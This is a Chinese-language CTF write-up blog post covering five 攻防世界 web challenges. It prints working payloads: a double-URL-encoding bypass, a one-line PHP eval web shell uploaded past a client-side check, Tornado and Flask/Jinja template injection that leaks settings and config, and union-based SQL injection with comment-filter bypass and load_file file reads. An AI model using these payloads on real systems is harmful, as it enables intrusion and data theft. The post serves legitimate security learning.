zoukankan      html  css  js  c++  java
  • 攻防世界

    PHP2:

    1.进入页面,进行抓包或后台扫描都没有什么发现,然后网上查一波wp,发现是关于.phps文件,进入index.phps,弹出一段代码,查看源代码,

    <?php
    if("admin"===$_GET[id]) {
      echo("<p>not allowed!</p>");
      exit();
    }
    
    $_GET[id] = urldecode($_GET[id]);
    if($_GET[id] == "admin")
    {
      echo "<p>Access granted!</p>";
      echo "<p>Key: xxxxxxx </p>";
    }
    ?>
    
    Can you anthenticate to this website?

    2.分析源码发现,需要绕过,

    "admin"===$_GET[id]

    3.源码中还会进行一次urldecode,同时浏览器也会自动url解码一次,(先进行url编码,在进行代码内部的urldecode编码),

    $_GET[id] = urldecode($_GET[id]);

    4.对admin部分或者整个字符串进行两次url编码,

    urldecode(%2561)=%61
    urldecode(%61)=a

    5.得到flag,

    flag:

    cyberpeace{a66b41e93a4251c196c8e734a663f422}

    补充:

    字符的url编码:
    字符的十六进制前面加了个百分号
    .PHPS:
    PHPS文件类型主要与PHP Group的“ PHP Source”相关联。 通常,PHP文件将由Web服务器和PHP可执行文件解释,并且您永远不会看到PHP文件后面的代码。 
    如果将文件扩展名设置为.PHPS,则正确配置的服务器将输出源的彩色格式版本,而不是通常会生成的HTML。

    参考:
    https://blog.csdn.net/Claming_D/article/details/107698499

    https://www.cnblogs.com/gaonuoqi/p/11373632.html

    upload1:

    1.进入页面,人以上传一个php文件,发现要求上传一张图片,进行抓包,发现是前端检测文件类型,因此查看源代码,将check()函数删除,

    2.上传aaa.php文件,并写入一句话木马,上传成功,

    <?php
    @eval($_REQUEST['aaa']);
    ?>

    3.进行检验,

    4.用蚁剑连接,发现在html目录下有flag.php,进入即可得到flag,

     

    flag:

    cyberpeace{ea8e46f9161212e0a9983fd3794ac7a2}

    easytornado:

    1.进入页面,发现三个链接,点进去分别是,

    /flag.txt:
    内容:
    /flag.txt
    flag in /fllllllllllllag
    /welcome.txt:
    内容:
    /welcome.txt
    render
    /hints.txt:
    内容;
    /hints.txt
    md5(cookie_secret+md5(filename))

     2.尝试进入/fllllllllllllag目录,回显为404,

    3.然后没思路了,网上找带佬儿的wp:/welcome.txt页面看到render,可能会是SSTI模板注入

    4.传递msg={{999}},出现如下回显,

    5.当传入msg={{2*3}},出现如下回显,尝试除和减操作符也是返回ORZ,说明是操作符被过滤了,

    6.通过模板注入如何拿到tornado中的cookie,用的就是handler.settings对象,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所有handler.settings就指向RequestHandler.application.settings了。

    传递error?msg={{ handler.settings }}得到:

    7.使用md5加密构造计算出filehash的值,md5(cookie_secret+md5(/fllllllllllllag)),

    其中,cookie_secret为df7c68e3-32f2-47e3-b5c2-370bff4bd799,

    md5(/fllllllllllllag)为3bf9f6cf685a6dd8defadabfb41a03a1,

    md5(cookie_secret+md5(/fllllllllllllag))为e506787701926864f020c1bf83a57d29

    (要用32位[小])

    8.得到flag,

    flag:

    flag{3f39aea39db345769397ae895edb9c70}

    参考:

    https://www.cnblogs.com/joker-vip/p/12511948.html

    https://blog.csdn.net/zz_Caleb/article/details/96480967

    shrine:

    (!!!)

    1.进入页面,是一段代码,

    import flask
    import os
    
    app = flask.Flask(__name__)
    
    app.config['FLAG'] = os.environ.pop('FLAG')
    
    @app.route('/')
    def index():
        return open(__file__).read()
    
    @app.route('/shrine/<path:shrine>')
    def shrine(shrine):
    
        def safe_jinja(s):
            s = s.replace('(', '').replace(')', '')
            blacklist = ['config', 'self']
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    
        return flask.render_template_string(safe_jinja(shrine))
    
    if __name__ == '__main__':
        app.run(debug=True)

    2.出现flask,考虑STTI模板注入,@app.route后跟着路径,还有blacklist过滤,进行测试,发现存在注入,

    http://220.249.52.133:44363/shrine/{{2*10}}

    3.config和self加入了黑名单以及过滤了括号,

    s = s.replace('(', '').replace(')', '')
            blacklist = ['config', 'self']

    4.我们输入的值首先被传到了safe_jinja()函数,然后由flask.render_template_string进行渲染,传入的( )都会被置换为空,

    5.构造payload,获取全局变量的config,

    {{url_for.__globals__['current_app'].config}}

    6.得到flag,

    flag:

    flag{shrine_is_good_ssti}

    参考:

    https://blog.csdn.net/gongjingege/article/details/107711286

    fakebook:

    1.进入页面,点击join创建新用户后,

    2.进入用户,观察url,利用以下语句判断可能存在GET注入,同时会发现会发现/var/www/html/view.php 路径,

    no=4
    no=4'
    no=4 and 1=1
    no=4 and 1=2

     

    3.利用order by可以判断字段为4,

     

    4.构造union select语句发现被过滤了,

    5.用/**/注释符绕过,

    no=-4 union/**/select 1,2,3,4#

    6.根据回显2,进行数据库查询,

    no=-4 union/**/select 1,database(),3,4--+

    7.同时从unserialize()函数可以看出,数据保存时序列化,输出反序列化,显示在博客界面。

    8.查库名,

    no=-4 union/**/select 1,group_concat(schema_name) ,3,4 from information_schema.schemata#

    库名为:

    fakebook,information_schema,mysql,performance_schema,test 

    9.查表名,

    no=-4 union/**/select 1,group_concat(table_name) ,3,4 from information_schema.tables where table_schema="fakebook"#

    表名:

    users

    10.查字段,

    no=-4 union/**/select 1,group_concat(column_name) ,3,4 from information_schema.columns where table_schema="fakebook"#

    字段:

    no,username,passwd,data 

    11.查字段信息,发现被反序列化,

    no=-4 union/**/select 1,group_concat(data),3,4 from fakebook.users #

    12.利用抓包,得到flag,

    no=-4 union/**/select 1,load_file("/var/www/html/flag.php"),3,4

    flag:

    flag{c1e552fdf77049fabf65168f22f7aeab}

    参考:

    https://blog.csdn.net/gongjingege/article/details/107784880

    https://blog.csdn.net/qq_41500251/article/details/105383065

     
  • 相关阅读:
    Session机制详解
    JDK各个版本比较 JDK5~JDK9
    CAS 自旋锁
    OAuth2.0认证和授权原理
    微信二维码登录原理
    Django Restframework 实践(一)
    ESXI 5.5卡在LSI_MR3.V00
    理解RESTful架构
    RESTful API 设计指南
    python 异步 select pooll epoll
  • 原文地址:https://www.cnblogs.com/3cH0-Nu1L/p/13595531.html
Copyright © 2011-2022 走看看